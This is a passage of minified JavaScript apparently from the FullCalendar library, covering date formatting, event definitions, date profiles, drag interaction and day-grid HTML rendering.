i,s,a,l=e.sameUnits,u=t.clone().stripZone(),d=n.clone().stripZone(),c=m(e.fakeFormatString,t),p=m(e.fakeFormatString,n),h="",f="",y="",v="",_="";for(i=0;i<l.length&&(!l[i]||u.isSame(d,l[i]));i++)h+=c[i];for(s=l.length-1;s>i&&(!l[s]||u.isSame(d,l[s]))&&(s-1!==i||"."!==c[s]);s--)f=c[s]+f;for(a=i;a<=s;a++)y+=c[a],v+=p[a];return(y||v)&&(_=o?v+r+y:y+r+v),g(h+_+f)}(d(n=e.localeData().longDateFormat(n)||n),e,t,o||" - ",i)};var u={};function d(e){return u[e]||(u[e]=function(e){var t=c(e);return{fakeFormatString:h(t),sameUnits:f(t)}}(e))}function c(e){for(var t,n=[],r=/\[([^\]]*)\]|\(([^\)]*)\)|(LTS|LT|(\w)\4*o?)|([^\w\[\(]+)/g;t=r.exec(e);)t[1]?n.push.apply(n,p(t[1])):t[2]?n.push({maybe:c(t[2])}):t[3]?n.push({token:t[3]}):t[5]&&n.push.apply(n,p(t[5]));return n}function p(e){return". "===e?["."," "]:[e]}function h(e){var t,n,r=[];for(t=0;t<e.length;t++)"string"==typeof(n=e[t])?r.push("["+n+"]"):n.token?n.token in s?r.push("["+n.token+"]"):r.push(n.token):n.maybe&&r.push(""+h(n.maybe)+"");return r.join("\v")}function f(e){var t,n,r,o=[];for(t=0;t<e.length;t++)(n=e[t]).token?(r=a[n.token.charAt(0)],o.push(r?r.unit:"second")):n.maybe?o.push.apply(o,f(n.maybe)):o.push(null);return o}function m(e,t){var n,o,i=[],a=r.oldMomentFormat(t,e).split("\v");for(n=0;n<a.length;n++)""===(o=a[n]).charAt(0)?i.push(s[o.substring(1)](t)):i.push(o);return i}function g(e){return e.replace(i,(function(e,t){return t.match(/[1-9]/)?t:""}))}t.queryMostGranularFormatUnit=function(e){var t,n,r,o,i=c(e);for(t=0;t<i.length;t++)(n=i[t]).token&&(r=a[n.token.charAt(0)])&&(!o||r.value>o.value)&&(o=r);return o?o.unit:null}},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(e,t,n){this.unzonedRange=e,this.eventDef=t,n&&(this.eventInstance=n)};t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(35),i=n(13),s=n(7),a=function(e){function t(){var t=e.call(this)||this;return t._watchers={},t._props={},t.applyGlobalWatchers(),t.constructed(),t}return r.__extends(t,e),t.watch=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];this.prototype.hasOwnProperty("_globalWatchArgs")||(this.prototype._globalWatchArgs=Object.create(this.prototype._globalWatchArgs)),this.prototype._globalWatchArgs[e]=t},t.prototype.constructed=function(){},t.prototype.applyGlobalWatchers=function(){var e,t=this._globalWatchArgs;for(e in t)this.watch.apply(this,[e].concat(t[e]))},t.prototype.has=function(e){return e in this._props},t.prototype.get=function(e){return void 0===e?this._props:this._props[e]},t.prototype.set=function(e,t){var n;"string"==typeof e?(n={})[e]=void 0===t?null:t:n=e,this.setProps(n)},t.prototype.reset=function(e){var t,n=this._props,r={};for(t in n)r[t]=void 0;for(t in e)r[t]=e[t];this.setProps(r)},t.prototype.unset=function(e){var t,n,r={};for(t="string"==typeof e?[e]:e,n=0;n<t.length;n++)r[t[n]]=void 0;this.setProps(r)},t.prototype.setProps=function(e){var t,n,r={},o=0;for(t in e)"object"!=typeof(n=e[t])&&n===this._props[t]||(r[t]=n,o++);if(o){for(t in this.trigger("before:batchChange",r),r)n=r[t],this.trigger("before:change",t,n),this.trigger("before:change:"+t,n);for(t in r)void 0===(n=r[t])?delete this._props[t]:this._props[t]=n,this.trigger("change:"+t,n),this.trigger("change",t,n);this.trigger("batchChange",r)}},t.prototype.watch=function(e,t,n,r){var o=this;this.unwatch(e),this._watchers[e]=this._watchDeps(t,(function(t){var r=n.call(o,t);r&&r.then?(o.unset(e),r.then((function(t){o.set(e,t)}))):o.set(e,r)}),(function(t){o.unset(e),r&&r.call(o,t)}))},t.prototype.unwatch=function(e){var t=this._watchers[e];t&&(delete this._watchers[e],t.teardown())},t.prototype._watchDeps=function(e,t,n){var r=this,o=0,i=e.length,s=0,a={},l=[],u=!1,d=function(e,t){r.on(e,t),l.push([e,t])};return e.forEach((function(e){var r=!1;"?"===e.charAt(0)&&(e=e.substring(1),r=!0),d("before:change:"+e,(function(e){1==++o&&s===i&&(u=!0,n(a),u=!1)})),d("change:"+e,(function(n){!function(e,n,r){void 0===n?(r||void 0===a[e]||s--,delete a[e]):(r||void 0!==a[e]||s++,a[e]=n),--o||s===i&&(u||t(a))}(e,n,r)}))})),e.forEach((function(e){var t=!1;"?"===e.charAt(0)&&(e=e.substring(1),t=!0),r.has(e)?(a[e]=r.get(e),s++):t&&s++})),s===i&&t(a),{teardown:function(){for(var e=0;e<l.length;e++)r.off(l[e][0],l[e][1]);l=null,s===i&&n()},flash:function(){s===i&&(n(),t(a))}}},t.prototype.flash=function(e){var t=this._watchers[e];t&&t.flash()},t}(o.default);t.default=a,a.prototype._globalWatchArgs={},i.default.mixInto(a),s.default.mixInto(a)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(4),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.defineStandardProps=function(e){var t=this.prototype;t.hasOwnProperty("standardPropMap")||(t.standardPropMap=Object.create(t.standardPropMap)),o.copyOwnProps(e,t.standardPropMap)},t.copyVerbatimStandardProps=function(e,t){var n,r=this.prototype.standardPropMap;for(n in r)null!=e[n]&&!0===r[n]&&(t[n]=e[n])},t.prototype.applyProps=function(e){var t,n=this.standardPropMap,r={},o={};for(t in e)!0===n[t]?this[t]=e[t]:!1===n[t]?r[t]=e[t]:o[t]=e[t];return this.applyMiscProps(o),this.applyManualStandardProps(r)},t.prototype.applyManualStandardProps=function(e){return!0},t.prototype.applyMiscProps=function(e){},t.prototype.isStandardProp=function(e){return e in this.standardPropMap},t}(n(15).default);t.default=i,i.prototype.standardPropMap={}},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){this.def=e,this.dateProfile=t}return e.prototype.toLegacy=function(){var e=this.dateProfile,t=this.def.toLegacy();return t.start=e.start.clone(),t.end=e.end?e.end.clone():null,t},e}();t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(0),s=n(37),a=n(53),l=n(16),u=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.isAllDay=function(){return!this.startTime&&!this.endTime},t.prototype.buildInstances=function(e){for(var t,n,r,o=this.source.calendar,i=e.getStart(),s=e.getEnd(),u=[];i.isBefore(s);)this.dowHash&&!this.dowHash[i.day()]||(n=(t=o.applyTimezone(i)).clone(),r=null,this.startTime?n.time(this.startTime):n.stripTime(),this.endTime&&(r=t.clone().time(this.endTime)),u.push(new a.default(this,new l.default(n,r,o)))),i.add(1,"days");return u},t.prototype.setDow=function(e){this.dowHash||(this.dowHash={});for(var t=0;t<e.length;t++)this.dowHash[e[t]]=!0},t.prototype.clone=function(){var t=e.prototype.clone.call(this);return t.startTime&&(t.startTime=i.duration(this.startTime)),t.endTime&&(t.endTime=i.duration(this.endTime)),this.dowHash&&(t.dowHash=o.extend({},this.dowHash)),t},t}(s.default);t.default=u,u.prototype.applyProps=function(e){var t=s.default.prototype.applyProps.call(this,e);return e.start&&(this.startTime=i.duration(e.start)),e.end&&(this.endTime=i.duration(e.end)),e.dow&&this.setDow(e.dow),t},u.defineStandardProps({start:!1,end:!1,dow:!1})},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(0),o=n(4),i=n(5),s=function(){function e(e){this._view=e}return e.prototype.opt=function(e){return this._view.opt(e)},e.prototype.trimHiddenDays=function(e){return this._view.trimHiddenDays(e)},e.prototype.msToUtcMoment=function(e,t){return this._view.calendar.msToUtcMoment(e,t)},e.prototype.buildPrev=function(e){var t=e.date.clone().startOf(e.currentRangeUnit).subtract(e.dateIncrement);return this.build(t,-1)},e.prototype.buildNext=function(e){var t=e.date.clone().startOf(e.currentRangeUnit).add(e.dateIncrement);return this.build(t,1)},e.prototype.build=function(e,t,n){void 0===n&&(n=!1);var o,i,s,a,l,u,d,c,p=!e.hasTime();return o=this.buildValidRange(),o=this.trimHiddenDays(o),n&&(e=this.msToUtcMoment(o.constrainDate(e),p)),a=this.buildCurrentRangeInfo(e,t),l=/^(year|month|week|day)$/.test(a.unit),u=this.buildRenderRange(this.trimHiddenDays(a.unzonedRange),a.unit,l),d=(u=this.trimHiddenDays(u)).clone(),this.opt("showNonCurrentDates")||(d=d.intersect(a.unzonedRange)),i=r.duration(this.opt("minTime")),s=r.duration(this.opt("maxTime")),(d=(d=this.adjustActiveRange(d,i,s)).intersect(o))&&(e=this.msToUtcMoment(d.constrainDate(e),p)),c=a.unzonedRange.intersectsWith(o),{validUnzonedRange:o,currentUnzonedRange:a.unzonedRange,currentRangeUnit:a.unit,isRangeAllDay:l,activeUnzonedRange:d,renderUnzonedRange:u,minTime:i,maxTime:s,isValid:c,date:e,dateIncrement:this.buildDateIncrement(a.duration)}},e.prototype.buildValidRange=function(){return this._view.getUnzonedRangeOption("validRange",this._view.calendar.getNow())||new i.default},e.prototype.buildCurrentRangeInfo=function(e,t){var n,r=this._view.viewSpec,i=null,s=null,a=null;return r.duration?(i=r.duration,s=r.durationUnit,a=this.buildRangeFromDuration(e,t,i,s)):(n=this.opt("dayCount"))?(s="day",a=this.buildRangeFromDayCount(e,t,n)):(a=this.buildCustomVisibleRange(e))?s=o.computeGreatestUnit(a.getStart(),a.getEnd()):(i=this.getFallbackDuration(),s=o.computeGreatestUnit(i),a=this.buildRangeFromDuration(e,t,i,s)),{duration:i,unit:s,unzonedRange:a}},e.prototype.getFallbackDuration=function(){return r.duration({days:1})},e.prototype.adjustActiveRange=function(e,t,n){var r=e.getStart(),o=e.getEnd();return this._view.usesMinMaxTime&&(t<0&&r.time(0).add(t),n>864e5&&o.time(n-864e5)),new i.default(r,o)},e.prototype.buildRangeFromDuration=function(e,t,n,s){var a,l,u,d,c,p=this.opt("dateAlignment");function h(){u=e.clone().startOf(p),d=u.clone().add(n),c=new i.default(u,d)}return p||((a=this.opt("dateIncrement"))?(l=r.duration(a),p=l<n?o.computeDurationGreatestUnit(l,a):s):p=s),n.as("days")<=1&&this._view.isHiddenDay(u)&&(u=this._view.skipHiddenDays(u,t)).startOf("day"),h(),this.trimHiddenDays(c)||(e=this._view.skipHiddenDays(e,t),h()),c},e.prototype.buildRangeFromDayCount=function(e,t,n){var r,o,s=this.opt("dateAlignment"),a=0;if(s||-1!==t){r=e.clone(),s&&r.startOf(s),r.startOf("day"),o=(r=this._view.skipHiddenDays(r)).clone();do{o.add(1,"day"),this._view.isHiddenDay(o)||a++}while(a<n)}else{o=e.clone().startOf("day").add(1,"day"),r=(o=this._view.skipHiddenDays(o,-1,!0)).clone();do{r.add(-1,"day"),this._view.isHiddenDay(r)||a++}while(a<n)}return new i.default(r,o)},e.prototype.buildCustomVisibleRange=function(e){var t=this._view.getUnzonedRangeOption("visibleRange",this._view.calendar.applyTimezone(e));return!t||null!=t.startMs&&null!=t.endMs?t:null},e.prototype.buildRenderRange=function(e,t,n){return e.clone()},e.prototype.buildDateIncrement=function(e){var t,n=this.opt("dateIncrement");return n?r.duration(n):(t=this.opt("dateAlignment"))?r.duration(1,t):e||r.duration({days:1})},e}();t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(4),s=n(21),a=n(6),l=n(9),u=function(e){function t(t){var n=e.call(this,t)||this;return n.eventDefs=[],n}return r.__extends(t,e),t.parse=function(e,t){var n;return o.isArray(e.events)?n=e:o.isArray(e)&&(n={events:e}),!!n&&a.default.parse.call(this,n,t)},t.prototype.setRawEventDefs=function(e){this.rawEventDefs=e,this.eventDefs=this.parseEventDefs(e)},t.prototype.fetch=function(e,t,n){var r,o=this.eventDefs;if(null!=this.currentTimezone&&this.currentTimezone!==n)for(r=0;r<o.length;r++)o[r]instanceof l.default&&o[r].rezone();return this.currentTimezone=n,s.default.resolve(o)},t.prototype.addEventDef=function(e){this.eventDefs.push(e)},t.prototype.removeEventDefsById=function(e){return i.removeMatching(this.eventDefs,(function(t){return t.id===e}))},t.prototype.removeAllEventDefs=function(){this.eventDefs=[]},t.prototype.getPrimitive=function(){return this.rawEventDefs},t.prototype.applyManualStandardProps=function(t){var n=e.prototype.applyManualStandardProps.call(this,t);return this.setRawEventDefs(t.events),n},t}(a.default);t.default=u,u.defineStandardProps({events:!1})},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(221),o=n(222),i={};t.defineThemeSystem=function(e,t){i[e]=t},t.getThemeSystemClass=function(e){return e?!0===e?o.default:i[e]:r.default}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(4),i=function(){function e(e){this.isHorizontal=!1,this.isVertical=!1,this.els=r(e.els),this.isHorizontal=e.isHorizontal,this.isVertical=e.isVertical,this.forcedOffsetParentEl=e.offsetParent?r(e.offsetParent):null}return e.prototype.build=function(){var e=this.forcedOffsetParentEl;!e&&this.els.length>0&&(e=this.els.eq(0).offsetParent()),this.origin=e?e.offset():null,this.boundingRect=this.queryBoundingRect(),this.isHorizontal&&this.buildElHorizontals(),this.isVertical&&this.buildElVerticals()},e.prototype.clear=function(){this.origin=null,this.boundingRect=null,this.lefts=null,this.rights=null,this.tops=null,this.bottoms=null},e.prototype.ensureBuilt=function(){this.origin||this.build()},e.prototype.buildElHorizontals=function(){var e=[],t=[];this.els.each((function(n,o){var i=r(o),s=i.offset().left,a=i.outerWidth();e.push(s),t.push(s+a)})),this.lefts=e,this.rights=t},e.prototype.buildElVerticals=function(){var e=[],t=[];this.els.each((function(n,o){var i=r(o),s=i.offset().top,a=i.outerHeight();e.push(s),t.push(s+a)})),this.tops=e,this.bottoms=t},e.prototype.getHorizontalIndex=function(e){this.ensureBuilt();var t,n=this.lefts,r=this.rights,o=n.length;for(t=0;t<o;t++)if(e>=n[t]&&e<r[t])return t},e.prototype.getVerticalIndex=function(e){this.ensureBuilt();var t,n=this.tops,r=this.bottoms,o=n.length;for(t=0;t<o;t++)if(e>=n[t]&&e<r[t])return t},e.prototype.getLeftOffset=function(e){return this.ensureBuilt(),this.lefts[e]},e.prototype.getLeftPosition=function(e){return this.ensureBuilt(),this.lefts[e]-this.origin.left},e.prototype.getRightOffset=function(e){return this.ensureBuilt(),this.rights[e]},e.prototype.getRightPosition=function(e){return this.ensureBuilt(),this.rights[e]-this.origin.left},e.prototype.getWidth=function(e){return this.ensureBuilt(),this.rights[e]-this.lefts[e]},e.prototype.getTopOffset=function(e){return this.ensureBuilt(),this.tops[e]},e.prototype.getTopPosition=function(e){return this.ensureBuilt(),this.tops[e]-this.origin.top},e.prototype.getBottomOffset=function(e){return this.ensureBuilt(),this.bottoms[e]},e.prototype.getBottomPosition=function(e){return this.ensureBuilt(),this.bottoms[e]-this.origin.top},e.prototype.getHeight=function(e){return this.ensureBuilt(),this.bottoms[e]-this.tops[e]},e.prototype.queryBoundingRect=function(){var e;return this.els.length>0&&!(e=o.getScrollParent(this.els.eq(0))).is(document)&&!e.is("html,body")?o.getClientRect(e):null},e.prototype.isPointInBounds=function(e,t){return this.isLeftInBounds(e)&&this.isTopInBounds(t)},e.prototype.isLeftInBounds=function(e){return!this.boundingRect||e>=this.boundingRect.left&&e<this.boundingRect.right},e.prototype.isTopInBounds=function(e){return!this.boundingRect||e>=this.boundingRect.top&&e<this.boundingRect.bottom},e}();t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(4),i=n(7),s=n(23),a=function(){function e(e){this.isInteracting=!1,this.isDistanceSurpassed=!1,this.isDelayEnded=!1,this.isDragging=!1,this.isTouch=!1,this.isGeneric=!1,this.shouldCancelTouchScroll=!0,this.scrollAlwaysKills=!1,this.isAutoScroll=!1,this.scrollSensitivity=30,this.scrollSpeed=200,this.scrollIntervalMs=50,this.options=e||{}}return e.prototype.startInteraction=function(e,t){if(void 0===t&&(t={}),"mousedown"===e.type){if(s.default.get().shouldIgnoreMouse())return;if(!o.isPrimaryMouseButton(e))return;e.preventDefault()}this.isInteracting||(this.delay=o.firstDefined(t.delay,this.options.delay,0),this.minDistance=o.firstDefined(t.distance,this.options.distance,0),this.subjectEl=this.options.subjectEl,o.preventSelection(r("body")),this.isInteracting=!0,this.isTouch=o.getEvIsTouch(e),this.isGeneric="dragstart"===e.type,this.isDelayEnded=!1,this.isDistanceSurpassed=!1,this.originX=o.getEvX(e),this.originY=o.getEvY(e),this.scrollEl=o.getScrollParent(r(e.target)),this.bindHandlers(),this.initAutoScroll(),this.handleInteractionStart(e),this.startDelay(e),this.minDistance||this.handleDistanceSurpassed(e))},e.prototype.handleInteractionStart=function(e){this.trigger("interactionStart",e)},e.prototype.endInteraction=function(e,t){this.isInteracting&&(this.endDrag(e),this.delayTimeoutId&&(clearTimeout(this.delayTimeoutId),this.delayTimeoutId=null),this.destroyAutoScroll(),this.unbindHandlers(),this.isInteracting=!1,this.handleInteractionEnd(e,t),o.allowSelection(r("body")))},e.prototype.handleInteractionEnd=function(e,t){this.trigger("interactionEnd",e,t||!1)},e.prototype.bindHandlers=function(){var e=s.default.get();this.isGeneric?this.listenTo(r(document),{drag:this.handleMove,dragstop:this.endInteraction}):this.isTouch?this.listenTo(e,{touchmove:this.handleTouchMove,touchend:this.endInteraction,scroll:this.handleTouchScroll}):this.listenTo(e,{mousemove:this.handleMouseMove,mouseup:this.endInteraction}),this.listenTo(e,{selectstart:o.preventDefault,contextmenu:o.preventDefault})},e.prototype.unbindHandlers=function(){this.stopListeningTo(s.default.get()),this.stopListeningTo(r(document))},e.prototype.startDrag=function(e,t){this.startInteraction(e,t),this.isDragging||(this.isDragging=!0,this.handleDragStart(e))},e.prototype.handleDragStart=function(e){this.trigger("dragStart",e)},e.prototype.handleMove=function(e){var t=o.getEvX(e)-this.originX,n=o.getEvY(e)-this.originY,r=this.minDistance;this.isDistanceSurpassed||t*t+n*n>=r*r&&this.handleDistanceSurpassed(e),this.isDragging&&this.handleDrag(t,n,e)},e.prototype.handleDrag=function(e,t,n){this.trigger("drag",e,t,n),this.updateAutoScroll(n)},e.prototype.endDrag=function(e){this.isDragging&&(this.isDragging=!1,this.handleDragEnd(e))},e.prototype.handleDragEnd=function(e){this.trigger("dragEnd",e)},e.prototype.startDelay=function(e){var t=this;this.delay?this.delayTimeoutId=setTimeout((function(){t.handleDelayEnd(e)}),this.delay):this.handleDelayEnd(e)},e.prototype.handleDelayEnd=function(e){this.isDelayEnded=!0,this.isDistanceSurpassed&&this.startDrag(e)},e.prototype.handleDistanceSurpassed=function(e){this.isDistanceSurpassed=!0,this.isDelayEnded&&this.startDrag(e)},e.prototype.handleTouchMove=function(e){this.isDragging&&this.shouldCancelTouchScroll&&e.preventDefault(),this.handleMove(e)},e.prototype.handleMouseMove=function(e){this.handleMove(e)},e.prototype.handleTouchScroll=function(e){this.isDragging&&!this.scrollAlwaysKills||this.endInteraction(e,!0)},e.prototype.trigger=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];this.options[e]&&this.options[e].apply(this,t),this["_"+e]&&this["_"+e].apply(this,t)},e.prototype.initAutoScroll=function(){var e=this.scrollEl;this.isAutoScroll=this.options.scroll&&e&&!e.is(window)&&!e.is(document),this.isAutoScroll&&this.listenTo(e,"scroll",o.debounce(this.handleDebouncedScroll,100))},e.prototype.destroyAutoScroll=function(){this.endAutoScroll(),this.isAutoScroll&&this.stopListeningTo(this.scrollEl,"scroll")},e.prototype.computeScrollBounds=function(){this.isAutoScroll&&(this.scrollBounds=o.getOuterRect(this.scrollEl))},e.prototype.updateAutoScroll=function(e){var t,n,r,i,s=this.scrollSensitivity,a=this.scrollBounds,l=0,u=0;a&&(t=(s-(o.getEvY(e)-a.top))/s,n=(s-(a.bottom-o.getEvY(e)))/s,r=(s-(o.getEvX(e)-a.left))/s,i=(s-(a.right-o.getEvX(e)))/s,t>=0&&t<=1?l=t*this.scrollSpeed*-1:n>=0&&n<=1&&(l=n*this.scrollSpeed),r>=0&&r<=1?u=r*this.scrollSpeed*-1:i>=0&&i<=1&&(u=i*this.scrollSpeed)),this.setScrollVel(l,u)},e.prototype.setScrollVel=function(e,t){this.scrollTopVel=e,this.scrollLeftVel=t,this.constrainScrollVel(),!this.scrollTopVel&&!this.scrollLeftVel||this.scrollIntervalId||(this.scrollIntervalId=setInterval(o.proxy(this,"scrollIntervalFunc"),this.scrollIntervalMs))},e.prototype.constrainScrollVel=function(){var e=this.scrollEl;this.scrollTopVel<0?e.scrollTop()<=0&&(this.scrollTopVel=0):this.scrollTopVel>0&&e.scrollTop()+e[0].clientHeight>=e[0].scrollHeight&&(this.scrollTopVel=0),this.scrollLeftVel<0?e.scrollLeft()<=0&&(this.scrollLeftVel=0):this.scrollLeftVel>0&&e.scrollLeft()+e[0].clientWidth>=e[0].scrollWidth&&(this.scrollLeftVel=0)},e.prototype.scrollIntervalFunc=function(){var e=this.scrollEl,t=this.scrollIntervalMs/1e3;this.scrollTopVel&&e.scrollTop(e.scrollTop()+this.scrollTopVel*t),this.scrollLeftVel&&e.scrollLeft(e.scrollLeft()+this.scrollLeftVel*t),this.constrainScrollVel(),this.scrollTopVel||this.scrollLeftVel||this.endAutoScroll()},e.prototype.endAutoScroll=function(){this.scrollIntervalId&&(clearInterval(this.scrollIntervalId),this.scrollIntervalId=null,this.handleScrollEnd())},e.prototype.handleDebouncedScroll=function(){this.scrollIntervalId||this.handleScrollEnd()},e.prototype.handleScrollEnd=function(){},e}();t.default=a,i.default.mixInto(a)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(4),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.updateDayTable=function(){for(var e,t,n,r=this,o=r.view,i=o.calendar,s=i.msToUtcMoment(r.dateProfile.renderUnzonedRange.startMs,!0),a=i.msToUtcMoment(r.dateProfile.renderUnzonedRange.endMs,!0),l=-1,u=[],d=[];s.isBefore(a);)o.isHiddenDay(s)?u.push(l+.5):(l++,u.push(l),d.push(s.clone())),s.add(1,"days");if(this.breakOnWeeks){for(t=d[0].day(),e=1;e<d.length&&d[e].day()!==t;e++);n=Math.ceil(d.length/e)}else n=1,e=d.length;this.dayDates=d,this.dayIndices=u,this.daysPerRow=e,this.rowCnt=n,this.updateDayTableCols()},t.prototype.updateDayTableCols=function(){this.colCnt=this.computeColCnt(),this.colHeadFormat=this.opt("columnHeaderFormat")||this.opt("columnFormat")||this.computeColHeadFormat()},t.prototype.computeColCnt=function(){return this.daysPerRow},t.prototype.getCellDate=function(e,t){return this.dayDates[this.getCellDayIndex(e,t)].clone()},t.prototype.getCellRange=function(e,t){var n=this.getCellDate(e,t),r=n.clone().add(1,"days");return{start:n,end:r}},t.prototype.getCellDayIndex=function(e,t){return e*this.daysPerRow+this.getColDayIndex(t)},t.prototype.getColDayIndex=function(e){return this.isRTL?this.colCnt-1-e:e},t.prototype.getDateDayIndex=function(e){var t=this.dayIndices,n=e.diff(this.dayDates[0],"days");return n<0?t[0]-1:n>=t.length?t[t.length-1]+1:t[n]},t.prototype.computeColHeadFormat=function(){return this.rowCnt>1||this.colCnt>10?"ddd":this.colCnt>1?this.opt("dayOfMonthFormat"):"dddd"},t.prototype.sliceRangeByRow=function(e){var t,n,r,o,i,s=this.daysPerRow,a=this.view.computeDayRange(e),l=this.getDateDayIndex(a.start),u=this.getDateDayIndex(a.end.clone().subtract(1,"days")),d=[];for(t=0;t<this.rowCnt;t++)r=(n=t*s)+s-1,o=Math.max(l,n),i=Math.min(u,r),(o=Math.ceil(o))<=(i=Math.floor(i))&&d.push({row:t,firstRowDayIndex:o-n,lastRowDayIndex:i-n,isStart:o===l,isEnd:i===u});return d},t.prototype.sliceRangeByDay=function(e){var t,n,r,o,i,s,a=this.daysPerRow,l=this.view.computeDayRange(e),u=this.getDateDayIndex(l.start),d=this.getDateDayIndex(l.end.clone().subtract(1,"days")),c=[];for(t=0;t<this.rowCnt;t++)for(r=(n=t*a)+a-1,o=n;o<=r;o++)i=Math.max(u,o),s=Math.min(d,o),(i=Math.ceil(i))<=(s=Math.floor(s))&&c.push({row:t,firstRowDayIndex:i-n,lastRowDayIndex:s-n,isStart:i===u,isEnd:s===d});return c},t.prototype.renderHeadHtml=function(){var e=this.view.calendar.theme;return'<div class="fc-row '+e.getClass("headerRow")+'"><table class="'+e.getClass("tableGrid")+'"><thead>'+this.renderHeadTrHtml()+"</thead></table></div>"},t.prototype.renderHeadIntroHtml=function(){return this.renderIntroHtml()},t.prototype.renderHeadTrHtml=function(){return"<tr>"+(this.isRTL?"":this.renderHeadIntroHtml())+this.renderHeadDateCellsHtml()+(this.isRTL?this.renderHeadIntroHtml():"")+"</tr>"},t.prototype.renderHeadDateCellsHtml=function(){var e,t,n=[];for(e=0;e<this.colCnt;e++)t=this.getCellDate(0,e),n.push(this.renderHeadDateCellHtml(t));return n.join("")},t.prototype.renderHeadDateCellHtml=function(e,t,n){var r,i=this,s=i.view,a=i.dateProfile.activeUnzonedRange.containsDate(e),l=["fc-day-header",s.calendar.theme.getClass("widgetHeader")];return r="function"==typeof i.opt("columnHeaderHtml")?i.opt("columnHeaderHtml")(e):"function"==typeof i.opt("columnHeaderText")?o.htmlEscape(i.opt("columnHeaderText")(e)):o.htmlEscape(e.format(i.colHeadFormat)),1===i.rowCnt?l=l.concat(i.getDayClasses(e,!0)):l.push("fc-"+o.dayIDs[e.day()]),'<th class="'+l.join(" ")+'"'+(1===(a&&i.rowCnt)?' data-date="'+e.format("YYYY-MM-DD")+'"':"")+(t>1?' colspan="'+t+'"':"")+(n?" "+n:"")+">"+(a?s.buildGotoAnchorHtml({date:e,forceOff:i.rowCnt>1||1===i.colCnt},r):r)+"</th>"},t.prototype.renderBgTrHtml=function(e){return"<tr>"+(this.isRTL?"":this.renderBgIntroHtml(e))+this.renderBgCellsHtml(e)+(this.isRTL?this.renderBgIntroHtml(e):"")+"</tr>"},t.prototype.renderBgIntroHtml=function(e){return this.renderIntroHtml()},t.prototype.renderBgCellsHtml=function(e){var t,n,r=[];for(t=0;t<this.colCnt;t++)n=this.getCellDate(e,t),r.push(this.renderBgCellHtml(n));return r.join("")},t.prototype.renderBgCellHtml=function(e,t){var n=this,r=n.view,o=n.dateProfile.activeUnzonedRange.containsDate(e),i=n.getDayClasses(e);return i.unshift("fc-day",r.calendar.theme.getClass("widgetContent")),'<td class="'+i.join(" ")+'"'+(o?' data-date="'+e.format("YYYY-MM-DD")+'"':"")+(t?" "+t:"")+"></td>"},t.prototype.renderIntroHtml=function(){},t.prototype.bookendCells=function(e){var t=this.renderIntroHtml();t&&(this.isRTL?e.append(t):e.prepend(t))},t}(n(15).default);t.default=i},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){this.component=e,this.fillRenderer=t}return e.prototype.render=function(e){var t=this.component,n=t._getDateProfile().activeUnzonedRange,r=e.buildEventInstanceGroup(t.hasAllDayBusinessHours,n),o=r?t.eventRangesToEventFootprints(r.sliceRenderRanges(n)):[];this.renderEventFootprints(o)},e.prototype.renderEventFootprints=function(e){var t=this.component.eventFootprintsToSegs(e);this.renderSegs(t),this.segs=t},e.prototype.renderSegs=function(e){this.fillRenderer&&this.fillRenderer.renderSegs("businessHours",e,{getClasses:function(e){return["fc-nonbusiness","fc-bgevent"]}})},e.prototype.unrender=function(){this.fillRenderer&&this.fillRenderer.unrender("businessHours"),this.segs=null},e.prototype.getSegs=function(){return this.segs||[]},e}();t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(4),i=function(){function e(e){this.fillSegTag="div",this.component=e,this.elsByFill={}}return e.prototype.renderFootprint=function(e,t,n){this.renderSegs(e,this.component.componentFootprintToSegs(t),n)},e.prototype.renderSegs=function(e,t,n){var r;return t=this.buildSegEls(e,t,n),(r=this.attachSegEls(e,t))&&this.reportEls(e,r),t},e.prototype.unrender=function(e){var t=this.elsByFill[e];t&&(t.remove(),delete this.elsByFill[e])},e.prototype.buildSegEls=function(e,t,n){var o,i=this,s="",a=[];if(t.length){for(o=0;o<t.length;o++)s+=this.buildSegHtml(e,t[o],n);r(s).each((function(e,o){var s=t[e],l=r(o);n.filterEl&&(l=n.filterEl(s,l)),l&&(l=r(l)).is(i.fillSegTag)&&(s.el=l,a.push(s))}))}return a},e.prototype.buildSegHtml=function(e,t,n){var r=n.getClasses?n.getClasses(t):[],i=o.cssToStr(n.getCss?n.getCss(t):{});return"<"+this.fillSegTag+(r.length?' class="'+r.join(" ")+'"':"")+(i?' style="'+i+'"':"")+"></"+this.fillSegTag+">"},e.prototype.attachSegEls=function(e,t){},e.prototype.reportEls=function(e,t){this.elsByFill[e]?this.elsByFill[e]=this.elsByFill[e].add(t):this.elsByFill[e]=r(t)},e}();t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(9),o=n(34),i=n(6),s=function(){function e(e,t){this.view=e._getView(),this.component=e,this.eventRenderer=t}return e.prototype.renderComponentFootprint=function(e){this.renderEventFootprints([this.fabricateEventFootprint(e)])},e.prototype.renderEventDraggingFootprints=function(e,t,n){this.renderEventFootprints(e,t,"fc-dragging",n?null:this.view.opt("dragOpacity"))},e.prototype.renderEventResizingFootprints=function(e,t,n){this.renderEventFootprints(e,t,"fc-resizing")},e.prototype.renderEventFootprints=function(e,t,n,r){var o,i=this.component.eventFootprintsToSegs(e),s="fc-helper 